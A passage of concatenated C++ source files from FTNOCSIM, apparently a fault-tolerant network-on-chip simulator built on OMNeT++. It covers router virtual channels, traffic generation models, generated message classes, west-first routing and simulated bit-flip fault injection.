switchingTable[f->getNumPort()] = -1;
counter++;
}
int Switch::getInputPort(int outputPort)
{
return switchingTable[outputPort];
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/SpatialDistribution/SDDeterministic.h
/*
* SDDeterministic.h
*
* Created on: 13 mars 2015
* Author: mehdi
*/
#ifndef SDDETERMINISTIC_H_
#define SDDETERMINISTIC_H_
#include <SpatialDistribution.h>
using namespace std;
class SDDeterministic : public SpatialDistribution{
private:
int function;
int xPos;
int yPos;
int nbColumns;
int nbRows;
public:
SDDeterministic(int function,int xPos,int yPos,int nbColumns,int nbRows);
virtual ~SDDeterministic();
virtual void getDestination(int *x,int *y);
};
#endif /* SDDETERMINISTIC_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/VirtualChannel.h
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#ifndef VIRTUALCHANNEL_H_
#define VIRTUALCHANNEL_H_
#include <omnetpp.h>
#include <NoCMsg_m.h>
#include <Path.h>
using namespace std;
enum STATE{
IDLE = 0,
ROUTING = 1,
VCALLOCATION = 2,
SWITCHALLOCATION = 3,
SWITCHTRAVERSAL = 4
};
class VirtualChannel {
private:
cQueue *buffer;
int bufferLenght;
STATE state;
int outputPort;
int outputVC;
vector<Path *> *listRoutes;
double headFlitInjectionTime;
double packetRouterLatency;
public:
VirtualChannel(int bufferLenght);
virtual ~VirtualChannel();
STATE getState();
void setState(STATE s);
int getCurLenght();
int getOutputPort();
void setOutputPort(int p);
int getOutputVC();
void setOutputVC(int vc);
void insertFlit(Flit *f);
Flit *popFlit();
int getMaxLenght();
void setMaxLenght(int l);
Flit *readFrontFlit();
vector<Path*> *getListRoutes();
void setListRoutes(vector<Path*> *listRoutes);
double getHeadFlitInjectionTime();
void setHeadFlitInjectionTime(double injectionTime);
double getPacketRouterLatency();
void setPacketRouterLatency(double routerLatency);
};
#endif /* VIRTUALCHANNEL_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/TemporalDistribution/TDConstant.cc
/*
* TDConstant.cc
*
* Created on: Mar 2, 2015
* Author: ala-eddine
*/
#include <TDConstant.h>
using namespace std;
TDConstant::TDConstant(int interArrival) {
// TODO Auto-generated constructor stub
this->interArrival=interArrival;
}
TDConstant::~TDConstant() {
// TODO Auto-generated destructor stub
}
int TDConstant::getNextGenerationTime(){
return this->interArrival;
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/FaultInjector/FaultModel/FaultProperty/DropFlit.h
/*
* DropFlit.h
*
* Created on: 10 avr. 2015
* Author: mehdi
*/
#ifndef DROPFLIT_H_
#define DROPFLIT_H_
#include <NoCMsg_m.h>
#include <FaultProperty.h>
class DropFlit: public FaultProperty {
public:
DropFlit();
virtual ~DropFlit();
virtual bool alterFlit(Flit *f);
};
#endif /* DROPFLIT_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/FaultInjector/FaultModel/FaultProperty/AlterBitsH2H.cc
/*
* AlterBitsH2H.cc
*
* Created on: 27 avr. 2015
* Author: ala-eddine
*/
#include <AlterBitsH2H.h>
AlterBitsH2H::AlterBitsH2H(int minBits,int maxBits) {
// TODO Auto-generated constructor stub
this->minBits=minBits;
this->maxBits=maxBits;
}
AlterBitsH2H::~AlterBitsH2H() {
// TODO Auto-generated destructor stub
}
bool AlterBitsH2H::alterFlit(Flit *f)
{
int numByte,posBit;
char byte;
short int mask;
int nbBits=intuniform(minBits,maxBits);
for(int i=0;i<nbBits;i++)
{
numByte=intuniform(0,f->getSerializedFlitArraySize()-1);
posBit=intuniform(0,7);
byte=f->getSerializedFlit(numByte);
mask=0x80;
mask= mask >> posBit;
f->setSerializedFlit(numByte, byte ^ mask);
}
return false;
}
<file_sep>/FTNOCSIM/src/NoCMsg_m.h
//
// Generated file, do not edit! Created by nedtool 4.6 from src/NoCMsg.msg.
//
#ifndef _NOCMSG_M_H_
#define _NOCMSG_M_H_
#include <omnetpp.h>
// nedtool version check
#define MSGC_VERSION 0x0406
#if (MSGC_VERSION!=OMNETPP_VERSION)
# error Version mismatch! Probably this file was generated by an earlier version of nedtool: 'make clean' should help.
#endif
/**
* Enum generated from <tt>src/NoCMsg.msg:21</tt> by nedtool.
* <pre>
* enum MSG_TYPE
* {
*
* CLK_MSG = 1;
* FLIT_MSG = 2;
* CREDIT_MSG = 3;
* TRAFFIC_MSG = 4;
* CONGESTION_MSG = 5;
* TASKGRAPHEVENT_MSG = 6; // MEH 3
* TASKGRAPH_SENDTIME_MSG = 7; // MEH3
* TASKGRAPH_NEXTPAQUET_MSG = 8; // MEH3
* NEIGHBOR_LINK_FAULT_MSG = 9;
* NACK_MSG = 10;
* }
* </pre>
*/
enum MSG_TYPE {
CLK_MSG = 1,
FLIT_MSG = 2,
CREDIT_MSG = 3,
TRAFFIC_MSG = 4,
CONGESTION_MSG = 5,
TASKGRAPHEVENT_MSG = 6,
TASKGRAPH_SENDTIME_MSG = 7,
TASKGRAPH_NEXTPAQUET_MSG = 8,
NEIGHBOR_LINK_FAULT_MSG = 9,
NACK_MSG = 10
};
/**
* Enum generated from <tt>src/NoCMsg.msg:34</tt> by nedtool.
* <pre>
* enum FLIT_FUNCTION
* {
*
* DATA_FLIT = 1;
* NACK_FLIT = 2;
* }
* </pre>
*/
enum FLIT_FUNCTION {
DATA_FLIT = 1,
NACK_FLIT = 2
};
/**
* Enum generated from <tt>src/NoCMsg.msg:39</tt> by nedtool.
* <pre>
* enum NEIGHBOR_POSITION
* {
*
* NORTH_NEIGH = 0;
* EAST_NEIGH = 1;
* SOUTH_NEIGH = 2;
* WEST_NEIGH = 3;
* LOCAL_ROUTER = 4;
* }
* </pre>
*/
enum NEIGHBOR_POSITION {
NORTH_NEIGH = 0,
EAST_NEIGH = 1,
SOUTH_NEIGH = 2,
WEST_NEIGH = 3,
LOCAL_ROUTER = 4
};
/**
* Enum generated from <tt>src/NoCMsg.msg:47</tt> by nedtool.
* <pre>
* enum FLIT_TYPE
* {
*
* HEADER_FLIT = 1;
* MIDDLE_FLIT = 2;
* TAIL_FLIT = 3;
* SINGLE_FLIT = 4;
* }
* </pre>
*/
enum FLIT_TYPE {
HEADER_FLIT = 1,
MIDDLE_FLIT = 2,
TAIL_FLIT = 3,
SINGLE_FLIT = 4
};
/**
* Class generated from <tt>src/NoCMsg.msg:54</tt> by nedtool.
* <pre>
* packet Flit
* {
* int type;
* int src;
* int destX;
* int destY;
* int numPort;
* int numVC;
* int flitIndex;
* int packetIndex;
* int functionType;
* char payload[];
* double networkLatency;
* double packetNetworkLatency;
* double flitRouterLatency;
* char serializedFlit[];
* char e2eSerializedFlit[];
* int output; // MEH 3
* int dataAmount; // MEH 3
* bool firstFlitOfMessage; // MEH 3
* }
* </pre>
*/
class Flit : public ::cPacket
{
protected:
int type_var;
int src_var;
int destX_var;
int destY_var;
int numPort_var;
int numVC_var;
int flitIndex_var;
int packetIndex_var;
int functionType_var;
char *payload_var; // array ptr
unsigned int payload_arraysize;
double networkLatency_var;
double packetNetworkLatency_var;
double flitRouterLatency_var;
char *serializedFlit_var; // array ptr
unsigned int serializedFlit_arraysize;
char *e2eSerializedFlit_var; // array ptr
unsigned int e2eSerializedFlit_arraysize;
int output_var;
int dataAmount_var;
bool firstFlitOfMessage_var;
private:
void copy(const Flit& other);
protected:
// protected and unimplemented operator==(), to prevent accidental usage
bool operator==(const Flit&);
public:
Flit(const char *name=NULL, int kind=0);
Flit(const Flit& other);
virtual ~Flit();
Flit& operator=(const Flit& other);
virtual Flit *dup() const {return new Flit(*this);}
virtual void parsimPack(cCommBuffer *b);
virtual void parsimUnpack(cCommBuffer *b);
// field getter/setter methods
virtual int getType() const;
virtual void setType(int type);
virtual int getSrc() const;
virtual void setSrc(int src);
virtual int getDestX() const;
virtual void setDestX(int destX);
virtual int getDestY() const;
virtual void setDestY(int destY);
virtual int getNumPort() const;
virtual void setNumPort(int numPort);
virtual int getNumVC() const;
virtual void setNumVC(int numVC);
virtual int getFlitIndex() const;
virtual void setFlitIndex(int flitIndex);
virtual int getPacketIndex() const;
virtual void setPacketIndex(int packetIndex);
virtual int getFunctionType() const;
virtual void setFunctionType(int functionType);
virtual void setPayloadArraySize(unsigned int size);
virtual unsigned int getPayloadArraySize() const;
virtual char getPayload(unsigned int k) const;
virtual void setPayload(unsigned int k, char payload);
virtual double getNetworkLatency() const;
virtual void setNetworkLatency(double networkLatency);
virtual double getPacketNetworkLatency() const;
virtual void setPacketNetworkLatency(double packetNetworkLatency);
virtual double getFlitRouterLatency() const;
virtual void setFlitRouterLatency(double flitRouterLatency);
virtual void setSerializedFlitArraySize(unsigned int size);
virtual unsigned int getSerializedFlitArraySize() const;
virtual char getSerializedFlit(unsigned int k) const;
virtual void setSerializedFlit(unsigned int k, char serializedFlit);
virtual void setE2eSerializedFlitArraySize(unsigned int size);
virtual unsigned int getE2eSerializedFlitArraySize() const;
virtual char getE2eSerializedFlit(unsigned int k) const;
virtual void setE2eSerializedFlit(unsigned int k, char e2eSerializedFlit);
virtual int getOutput() const;
virtual void setOutput(int output);
virtual int getDataAmount() const;
virtual void setDataAmount(int dataAmount);
virtual bool getFirstFlitOfMessage() const;
virtual void setFirstFlitOfMessage(bool firstFlitOfMessage);
};
inline void doPacking(cCommBuffer *b, Flit& obj) {obj.parsimPack(b);}
inline void doUnpacking(cCommBuffer *b, Flit& obj) {obj.parsimUnpack(b);}
/**
* Class generated from <tt>src/NoCMsg.msg:75</tt> by nedtool.
* <pre>
* message ReqMsg
* {
* }
* </pre>
*/
class ReqMsg : public ::cMessage
{
protected:
private:
void copy(const ReqMsg& other);
protected:
// protected and unimplemented operator==(), to prevent accidental usage
bool operator==(const ReqMsg&);
public:
ReqMsg(const char *name=NULL, int kind=0);
ReqMsg(const ReqMsg& other);
virtual ~ReqMsg();
ReqMsg& operator=(const ReqMsg& other);
virtual ReqMsg *dup() const {return new ReqMsg(*this);}
virtual void parsimPack(cCommBuffer *b);
virtual void parsimUnpack(cCommBuffer *b);
// field getter/setter methods
};
inline void doPacking(cCommBuffer *b, ReqMsg& obj) {obj.parsimPack(b);}
inline void doUnpacking(cCommBuffer *b, ReqMsg& obj) {obj.parsimUnpack(b);}
/**
* Class generated from <tt>src/NoCMsg.msg:79</tt> by nedtool.
* <pre>
* message GratMsg
* {
* }
* </pre>
*/
class GratMsg : public ::cMessage
{
protected:
private:
void copy(const GratMsg& other);
protected:
// protected and unimplemented operator==(), to prevent accidental usage
bool operator==(const GratMsg&);
public:
GratMsg(const char *name=NULL, int kind=0);
GratMsg(const GratMsg& other);
virtual ~GratMsg();
GratMsg& operator=(const GratMsg& other);
virtual GratMsg *dup() const {return new GratMsg(*this);}
virtual void parsimPack(cCommBuffer *b);
virtual void parsimUnpack(cCommBuffer *b);
// field getter/setter methods
};
inline void doPacking(cCommBuffer *b, GratMsg& obj) {obj.parsimPack(b);}
inline void doUnpacking(cCommBuffer *b, GratMsg& obj) {obj.parsimUnpack(b);}
/**
* Class generated from <tt>src/NoCMsg.msg:84</tt> by nedtool.
* <pre>
* message CreditMsg
* {
* int numPort;
* int numVC;
*
* }
* </pre>
*/
class CreditMsg : public ::cMessage
{
protected:
int numPort_var;
int numVC_var;
private:
void copy(const CreditMsg& other);
protected:
// protected and unimplemented operator==(), to prevent accidental usage
bool operator==(const CreditMsg&);
public:
CreditMsg(const char *name=NULL, int kind=0);
CreditMsg(const CreditMsg& other);
virtual ~CreditMsg();
CreditMsg& operator=(const CreditMsg& other);
virtual CreditMsg *dup() const {return new CreditMsg(*this);}
virtual void parsimPack(cCommBuffer *b);
virtual void parsimUnpack(cCommBuffer *b);
// field getter/setter methods
virtual int getNumPort() const;
virtual void setNumPort(int numPort);
virtual int getNumVC() const;
virtual void setNumVC(int numVC);
};
inline void doPacking(cCommBuffer *b, CreditMsg& obj) {obj.parsimPack(b);}
inline void doUnpacking(cCommBuffer *b, CreditMsg& obj) {obj.parsimUnpack(b);}
/**
* Class generated from <tt>src/NoCMsg.msg:91</tt> by nedtool.
* <pre>
* message ClkMsg extends cMessage
* {
* }
* </pre>
*/
class ClkMsg : public ::cMessage
{
protected:
private:
void copy(const ClkMsg& other);
protected:
// protected and unimplemented operator==(), to prevent accidental usage
bool operator==(const ClkMsg&);
public:
ClkMsg(const char *name=NULL, int kind=0);
ClkMsg(const ClkMsg& other);
virtual ~ClkMsg();
ClkMsg& operator=(const ClkMsg& other);
virtual ClkMsg *dup() const {return new ClkMsg(*this);}
virtual void parsimPack(cCommBuffer *b);
virtual void parsimUnpack(cCommBuffer *b);
// field getter/setter methods
};
inline void doPacking(cCommBuffer *b, ClkMsg& obj) {obj.parsimPack(b);}
inline void doUnpacking(cCommBuffer *b, ClkMsg& obj) {obj.parsimUnpack(b);}
/**
* Class generated from <tt>src/NoCMsg.msg:95</tt> by nedtool.
* <pre>
* message TrafficMsg extends cMessage
* {
* }
* </pre>
*/
class TrafficMsg : public ::cMessage
{
protected:
private:
void copy(const TrafficMsg& other);
protected:
// protected and unimplemented operator==(), to prevent accidental usage
bool operator==(const TrafficMsg&);
public:
TrafficMsg(const char *name=NULL, int kind=0);
TrafficMsg(const TrafficMsg& other);
virtual ~TrafficMsg();
TrafficMsg& operator=(const TrafficMsg& other);
virtual TrafficMsg *dup() const {return new TrafficMsg(*this);}
virtual void parsimPack(cCommBuffer *b);
virtual void parsimUnpack(cCommBuffer *b);
// field getter/setter methods
};
inline void doPacking(cCommBuffer *b, TrafficMsg& obj) {obj.parsimPack(b);}
inline void doUnpacking(cCommBuffer *b, TrafficMsg& obj) {obj.parsimUnpack(b);}
/**
* Class generated from <tt>src/NoCMsg.msg:99</tt> by nedtool.
* <pre>
* message CongestionMsg extends cMessage
* {
* int src;
* double stressValue;
* }
* </pre>
*/
class CongestionMsg : public ::cMessage
{
protected:
int src_var;
double stressValue_var;
private:
void copy(const CongestionMsg& other);
protected:
// protected and unimplemented operator==(), to prevent accidental usage
bool operator==(const CongestionMsg&);
public:
CongestionMsg(const char *name=NULL, int kind=0);
CongestionMsg(const CongestionMsg& other);
virtual ~CongestionMsg();
CongestionMsg& operator=(const CongestionMsg& other);
virtual CongestionMsg *dup() const {return new CongestionMsg(*this);}
virtual void parsimPack(cCommBuffer *b);
virtual void parsimUnpack(cCommBuffer *b);
// field getter/setter methods
virtual int getSrc() const;
virtual void setSrc(int src);
virtual double getStressValue() const;
virtual void setStressValue(double stressValue);
};
inline void doPacking(cCommBuffer *b, CongestionMsg& obj) {obj.parsimPack(b);}
inline void doUnpacking(cCommBuffer *b, CongestionMsg& obj) {obj.parsimUnpack(b);}
/**
* Class generated from <tt>src/NoCMsg.msg:105</tt> by nedtool.
* <pre>
* // MEH 3
* message TaskGraphEventMsg extends cMessage
* {
* int outport;
* int amountData;
* int index;
* }
* </pre>
*/
class TaskGraphEventMsg : public ::cMessage
{
protected:
int outport_var;
int amountData_var;
int index_var;
private:
void copy(const TaskGraphEventMsg& other);
protected:
// protected and unimplemented operator==(), to prevent accidental usage
bool operator==(const TaskGraphEventMsg&);
public:
TaskGraphEventMsg(const char *name=NULL, int kind=0);
TaskGraphEventMsg(const TaskGraphEventMsg& other);
virtual ~TaskGraphEventMsg();
TaskGraphEventMsg& operator=(const TaskGraphEventMsg& other);
virtual TaskGraphEventMsg *dup() const {return new TaskGraphEventMsg(*this);}
virtual void parsimPack(cCommBuffer *b);
virtual void parsimUnpack(cCommBuffer *b);
// field getter/setter methods
virtual int getOutport() const;
virtual void setOutport(int outport);
virtual int getAmountData() const;
virtual void setAmountData(int amountData);
virtual int getIndex() const;
virtual void setIndex(int index);
};
inline void doPacking(cCommBuffer *b, TaskGraphEventMsg& obj) {obj.parsimPack(b);}
inline void doUnpacking(cCommBuffer *b, TaskGraphEventMsg& obj) {obj.parsimUnpack(b);}
/**
* Class generated from <tt>src/NoCMsg.msg:112</tt> by nedtool.
* <pre>
* // MEH 3
* message TaskGraphSendTimeMsg extends cMessage
* {
* int dataAmount;
* int destX;
* int destY;
* int outputPort;
* }
* </pre>
*/
class TaskGraphSendTimeMsg : public ::cMessage
{
protected:
int dataAmount_var;
int destX_var;
int destY_var;
int outputPort_var;
private:
void copy(const TaskGraphSendTimeMsg& other);
protected:
// protected and unimplemented operator==(), to prevent accidental usage
bool operator==(const TaskGraphSendTimeMsg&);
public:
TaskGraphSendTimeMsg(const char *name=NULL, int kind=0);
TaskGraphSendTimeMsg(const TaskGraphSendTimeMsg& other);
virtual ~TaskGraphSendTimeMsg();
TaskGraphSendTimeMsg& operator=(const TaskGraphSendTimeMsg& other);
virtual TaskGraphSendTimeMsg *dup() const {return new TaskGraphSendTimeMsg(*this);}
virtual void parsimPack(cCommBuffer *b);
virtual void parsimUnpack(cCommBuffer *b);
// field getter/setter methods
virtual int getDataAmount() const;
virtual void setDataAmount(int dataAmount);
virtual int getDestX() const;
virtual void setDestX(int destX);
virtual int getDestY() const;
virtual void setDestY(int destY);
virtual int getOutputPort() const;
virtual void setOutputPort(int outputPort);
};
inline void doPacking(cCommBuffer *b, TaskGraphSendTimeMsg& obj) {obj.parsimPack(b);}
inline void doUnpacking(cCommBuffer *b, TaskGraphSendTimeMsg& obj) {obj.parsimUnpack(b);}
/**
* Class generated from <tt>src/NoCMsg.msg:120</tt> by nedtool.
* <pre>
* // MEH 3
* message TaskGraphNextPaquetMsg extends cMessage
* {
* int idPaquet;
* int nbPaquets;
* int destX;
* int destY;
* int outputPort;
* int dataAmount;
* }
* </pre>
*/
class TaskGraphNextPaquetMsg : public ::cMessage
{
protected:
int idPaquet_var;
int nbPaquets_var;
int destX_var;
int destY_var;
int outputPort_var;
int dataAmount_var;
private:
void copy(const TaskGraphNextPaquetMsg& other);
protected:
// protected and unimplemented operator==(), to prevent accidental usage
bool operator==(const TaskGraphNextPaquetMsg&);
public:
TaskGraphNextPaquetMsg(const char *name=NULL, int kind=0);
TaskGraphNextPaquetMsg(const TaskGraphNextPaquetMsg& other);
virtual ~TaskGraphNextPaquetMsg();
TaskGraphNextPaquetMsg& operator=(const TaskGraphNextPaquetMsg& other);
virtual TaskGraphNextPaquetMsg *dup() const {return new TaskGraphNextPaquetMsg(*this);}
virtual void parsimPack(cCommBuffer *b);
virtual void parsimUnpack(cCommBuffer *b);
// field getter/setter methods
virtual int getIdPaquet() const;
virtual void setIdPaquet(int idPaquet);
virtual int getNbPaquets() const;
virtual void setNbPaquets(int nbPaquets);
virtual int getDestX() const;
virtual void setDestX(int destX);
virtual int getDestY() const;
virtual void setDestY(int destY);
virtual int getOutputPort() const;
virtual void setOutputPort(int outputPort);
virtual int getDataAmount() const;
virtual void setDataAmount(int dataAmount);
};
inline void doPacking(cCommBuffer *b, TaskGraphNextPaquetMsg& obj) {obj.parsimPack(b);}
inline void doUnpacking(cCommBuffer *b, TaskGraphNextPaquetMsg& obj) {obj.parsimUnpack(b);}
/**
* Class generated from <tt>src/NoCMsg.msg:131</tt> by nedtool.
* <pre>
* // MEH 5
* message NeighborLinkFaultMsg extends cMessage
* {
* int direction;
* }
* </pre>
*/
class NeighborLinkFaultMsg : public ::cMessage
{
protected:
int direction_var;
private:
void copy(const NeighborLinkFaultMsg& other);
protected:
// protected and unimplemented operator==(), to prevent accidental usage
bool operator==(const NeighborLinkFaultMsg&);
public:
NeighborLinkFaultMsg(const char *name=NULL, int kind=0);
NeighborLinkFaultMsg(const NeighborLinkFaultMsg& other);
virtual ~NeighborLinkFaultMsg();
NeighborLinkFaultMsg& operator=(const NeighborLinkFaultMsg& other);
virtual NeighborLinkFaultMsg *dup() const {return new NeighborLinkFaultMsg(*this);}
virtual void parsimPack(cCommBuffer *b);
virtual void parsimUnpack(cCommBuffer *b);
// field getter/setter methods
virtual int getDirection() const;
virtual void setDirection(int direction);
};
inline void doPacking(cCommBuffer *b, NeighborLinkFaultMsg& obj) {obj.parsimPack(b);}
inline void doUnpacking(cCommBuffer *b, NeighborLinkFaultMsg& obj) {obj.parsimUnpack(b);}
/**
* Class generated from <tt>src/NoCMsg.msg:136</tt> by nedtool.
* <pre>
* message NACKMsg extends cMessage
* {
* int src;
* int flitIndex;
* int packetIndex;
* }
* </pre>
*/
class NACKMsg : public ::cMessage
{
protected:
int src_var;
int flitIndex_var;
int packetIndex_var;
private:
void copy(const NACKMsg& other);
protected:
// protected and unimplemented operator==(), to prevent accidental usage
bool operator==(const NACKMsg&);
public:
NACKMsg(const char *name=NULL, int kind=0);
NACKMsg(const NACKMsg& other);
virtual ~NACKMsg();
NACKMsg& operator=(const NACKMsg& other);
virtual NACKMsg *dup() const {return new NACKMsg(*this);}
virtual void parsimPack(cCommBuffer *b);
virtual void parsimUnpack(cCommBuffer *b);
// field getter/setter methods
virtual int getSrc() const;
virtual void setSrc(int src);
virtual int getFlitIndex() const;
virtual void setFlitIndex(int flitIndex);
virtual int getPacketIndex() const;
virtual void setPacketIndex(int packetIndex);
};
inline void doPacking(cCommBuffer *b, NACKMsg& obj) {obj.parsimPack(b);}
inline void doUnpacking(cCommBuffer *b, NACKMsg& obj) {obj.parsimUnpack(b);}
#endif // ifndef _NOCMSG_M_H_
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/FaultInjector/FaultModel/FaultModel.cc
/*
* FaultModel.cc
*
* Created on: Apr 9, 2015
* Author: ala-eddine
*/
#include <FaultModel.h>
FaultModel::FaultModel(FaultProperty *fp,double faultRate,int startTime) {
// TODO Auto-generated constructor stub
this->faultProperty = fp;
this->faultRate = faultRate;
this->injectionStartTime = startTime;
}
FaultModel::~FaultModel() {
// TODO Auto-generated destructor stub
}
bool FaultModel::injectFault(Flit *f)
{
if(simTime().dbl()* 1e9/2 >=injectionStartTime)
{
double p = uniform(0,1);
if(p<faultRate)
{
return faultProperty->alterFlit(f);
}
}
return false;
}
double FaultModel::getFaultRate()
{
return this->faultRate;
}
int FaultModel::getInjectionStartTime()
{
return this->injectionStartTime;
}
FaultProperty* FaultModel::getFaultProperty()
{
return this->faultProperty;
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/ProbabilisticTraffic.cc
/*
* ProbabilisticTraffic.cc
*
* Created on: Mar 2, 2015
* Author: ala-eddine
*/
#include <ProbabilisticTraffic.h>
#include <iostream>
using namespace std;
ProbabilisticTraffic::ProbabilisticTraffic(PacketSizeDistribution* PSD,SpatialDistribution* SD,TempralDistribution* TD) {
// TODO Auto-generated constructor stub
this->PSD=PSD;
this->SD=SD;
this->TD=TD;
}
ProbabilisticTraffic::~ProbabilisticTraffic() {
// TODO Auto-generated destructor stub
}
int ProbabilisticTraffic::getNextGenerationTime()
{
return this->TD->getNextGenerationTime();
}
void ProbabilisticTraffic::getDestination(int* x,int* y)
{
this->SD->getDestination(x,y);
//std::cout << ">>> " << *x << " " << *y << std::endl;
}
int ProbabilisticTraffic::getPacketSize()
{
return this->PSD->getPacketSize();
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/ProbabilisticTraffic.h
/*
* ProbabilisticTraffic.h
*
* Created on: Mar 2, 2015
* Author: ala-eddine
*/
#ifndef PROBABILISTICTRAFFIC_H_
#define PROBABILISTICTRAFFIC_H_
#include "TrafficGeneration.h"
#include "PacketSizeDistribution.h"
#include "SpatialDistribution.h"
#include "TempralDistribution.h"
using namespace std;
class ProbabilisticTraffic : public TrafficGeneration {
private:
PacketSizeDistribution* PSD;
SpatialDistribution* SD;
TempralDistribution* TD;
public:
ProbabilisticTraffic(PacketSizeDistribution* PSD,SpatialDistribution* SD,TempralDistribution* TD);
virtual ~ProbabilisticTraffic();
virtual int getNextGenerationTime();
virtual void getDestination(int* x,int* y);
virtual int getPacketSize();
};
#endif /* PROBABILISTICTRAFFIC_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/FaultInjector/FaultModel/FaultProperty/AlterBits.h
/*
* AlterBits.h
*
* Created on: 16 avr. 2015
* Author: mehdi
*/
#ifndef ALTERBITS_H_
#define ALTERBITS_H_
#include <omnetpp.h>
#include <FaultProperty.h>
class AlterBits : public FaultProperty{
private:
int minBits;
int maxBits;
public:
AlterBits(int minBits,int maxBits);
virtual ~AlterBits();
virtual bool alterFlit(Flit *f);
};
#endif /* ALTERBITS_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/WestFirst/WestFirstRouting.cc
/*
* WestFirstRouting.cc
*
* Created on: 26 avr. 2015
* Author: ala-eddine
*/
#include <WestFirst/WestFirstRouting.h>
WestFirstRouting::WestFirstRouting(int x,int y,int dimX,int dimY,int nbVCs,bool* neighborsFaultInfo) {
// TODO Auto-generated constructor stub
this->dimX= dimX;
this->dimY = dimY;
this->x = x;
this->y = y;
this->nbVCs = nbVCs;
this->neighborsFaultInfo=neighborsFaultInfo;
}
WestFirstRouting::~WestFirstRouting() {
// TODO Auto-generated destructor stub
}
vector<Path *>* WestFirstRouting::routeCalc(Flit *f){
vector<Path*> *routes = new vector<Path*>;
int destX = f->getDestX();
int destY = f->getDestY();
if(destX<x)
{
if(neighborsFaultInfo[WEST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(WEST_DIREC,i));
}
else if(destX==x)
{
if(destY>y)
{
if(neighborsFaultInfo[SOUTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(SOUTH_DIREC,i));
}
else if(destY<y)
{
if(neighborsFaultInfo[NORTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(NORTH_DIREC,i));
}
else for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(LOCAL_DIREC,i)); //destY == y
}
else //destX>x
{
if(destY>y)
{
if(neighborsFaultInfo[EAST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(EAST_DIREC,i));
if(neighborsFaultInfo[SOUTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(SOUTH_DIREC,i));
}
if (destY<y)
{
if(neighborsFaultInfo[EAST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(EAST_DIREC,i));
if(neighborsFaultInfo[NORTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(NORTH_DIREC,i));
}
else //destY==y
{
if(neighborsFaultInfo[EAST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(EAST_DIREC,i));
}
}
return routes;
}
void WestFirstRouting::updateNeighborsFaultInfo(int direction,bool neighborState){
this->neighborsFaultInfo[direction]=neighborState;
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/SwitchAllocator/SwitchAllocator.h
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#ifndef __FTNOCSIM_SWITCHALLOCATOR_H_
#define __FTNOCSIM_SWITCHALLOCATOR_H_
#include <omnetpp.h>
#include <Switch.h>
extern "C"{
#include<OrionPowerModelC.h>
void initOrion();
double getSWGlobalArbiterEnergy(double avgSWGlobalArbCount);
}
/**
* TODO - Generated class
*/
class SwitchAllocator : public cSimpleModule
{
private:
int nbPorts;
int nbVCs;
Switch *switchTable;
double ClkCycle;
ClkMsg *clkMsg;
int globalArbCounter;
cOutVector globalArbiterAvgEnergy;
protected:
virtual void initialize();
virtual void handleMessage(cMessage *msg);
virtual void finish();
virtual void switchAllocation();
};
#endif
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/FaultInjector/FaultModel/FaultModel.h
/*
* FaultModel.h
*
* Created on: Apr 9, 2015
* Author: ala-eddine
*/
#ifndef FAULTMODEL_H_
#define FAULTMODEL_H_
#include<NoCMsg_m.h>
#include<FaultProperty.h>
#include<omnetpp.h>
class FaultModel {
private:
FaultProperty *faultProperty;
double faultRate;
int injectionStartTime;
public:
FaultModel(FaultProperty *fp,double faultRate, int startTime);
virtual ~FaultModel();
virtual bool injectFault(Flit *f);
virtual double getFaultRate();
virtual int getInjectionStartTime();
virtual FaultProperty* getFaultProperty();
};
#endif /* FAULTMODEL_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/SpatialDistribution/SpatialDistribution.h
/*
* SpatialDistribution.h
*
* Created on: Mar 2, 2015
* Author: ala-eddine
*/
#ifndef SPATIALDISTRIBUTION_H_
#define SPATIALDISTRIBUTION_H_
using namespace std;
enum SDType{
SDUNIFORM = 0,
SDTRANSPOSE1 = 1,
SDTRANSPOSE2= 2,
SDBITCOMPLEMENT = 3,
SDBITREVERSE = 4,
SDSHUFFLE = 5,
SDHOTSPOT = 6,
SDNED =7 // MEH2
};
class SpatialDistribution {
public:
// SpatialDistribution();
// virtual ~SpatialDistribution();
virtual void getDestination(int *x,int *y)=0;
};
#endif /* SPATIALDISTRIBUTION_H_ */
